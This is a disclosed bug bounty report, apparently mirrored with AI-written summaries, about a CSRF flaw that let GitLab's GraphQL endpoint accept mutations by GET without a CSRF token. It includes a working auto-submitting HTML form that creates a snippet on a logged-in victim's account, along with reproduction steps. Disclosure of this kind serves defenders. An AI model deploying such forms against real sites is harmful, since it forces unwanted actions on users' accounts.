CSRF on /api/graphql allows executing mutations through GET requests
GitLab's GraphQL endpoint accepted mutation queries sent as GET requests without requiring the X-CSRF-Token header, so the existing CSRF protection could be skipped. An attacker could make a logged-in user's browser submit a crafted form that creates a snippet on the victim's account.
- Triaged in 16 hours
- Fixed in 4 months
- Paid in 2 days
- Disclosed after 5 months
Mutations are edit or create queries used in Graphql. Gitlab prevents CSRF in this functionality by sending a POST request with a X-CSRF-Token header. The bug I found here was that, when we send a GET request, the backend does not expect the X-CSRF-Token header. Using this, an attacker could leverage this to bypass the existing CSRF protection
Code for Testing
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<meta name="referrer" content="none">
<meta name="referrer" content="no-referrer">
</head>
<body>
<form action="https://gitlab.com/api/graphql/" id="csrf-form" method="GET">
<input name="query" value="mutation CreateSnippet($input: CreateSnippetInput!) { createSnippet(input: $input) { errors snippet { webUrl __typename } needsCaptchaResponse captchaSiteKey __typename }}">
<input name="variables" value='{"input":{"title":"Tesssst Snippet","description":"Hello World","visibilityLevel":"public","blobActions":[{"action":"create","previousPath":"readme.md","content":"reading this.md","filePath":"readme.md"}],"uploadedFiles":[],"projectPath":""}}'>
</form>
<script>document.getElementById("csrf-form").submit()</script>
</body>
</html>
This exploit would create a snippet named Tesssst Snippet on the user's account.
Steps to Reproduce
- Host this file
- Login to gitlab
- Open the link to that html
- Check the snippets for the logged in user.
Impact
The attacker could control bypass the existing CSRF check on the graphql endpoint.
POC
Attached the request and response screenshot
What is the expected correct behavior?
The backend must check the existence of csrf tokens for GET requests as well.
Impact
The attacker could control bypass the existing CSRF check on the graphql endpoint.
Attachments

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the CSRF token check was applied only to POST requests to the GraphQL endpoint, leaving GET requests able to carry mutations without a token.
Impact
An attacker could bypass the existing CSRF check on the GraphQL endpoint and cause a logged-in user to create a snippet, though the report only demonstrates this single mutation.
What the attacker needed
Victim is logged in to GitLab; victim opens attacker-hosted page
How it was found
- Host the crafted HTML file
- Log in to GitLab
- Open the link to that HTML page
- Check the snippets for the logged-in user
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Websites often protect actions that change data by requiring a secret token that only the real site can include. Here the server only checked that token for one kind of request (POST) and forgot the other kind (GET). So a malicious page could quietly make a logged-in user's browser create a snippet without the user meaning to.
What is CSRF?
Another site makes a signed-in user's browser perform an action they did not intend.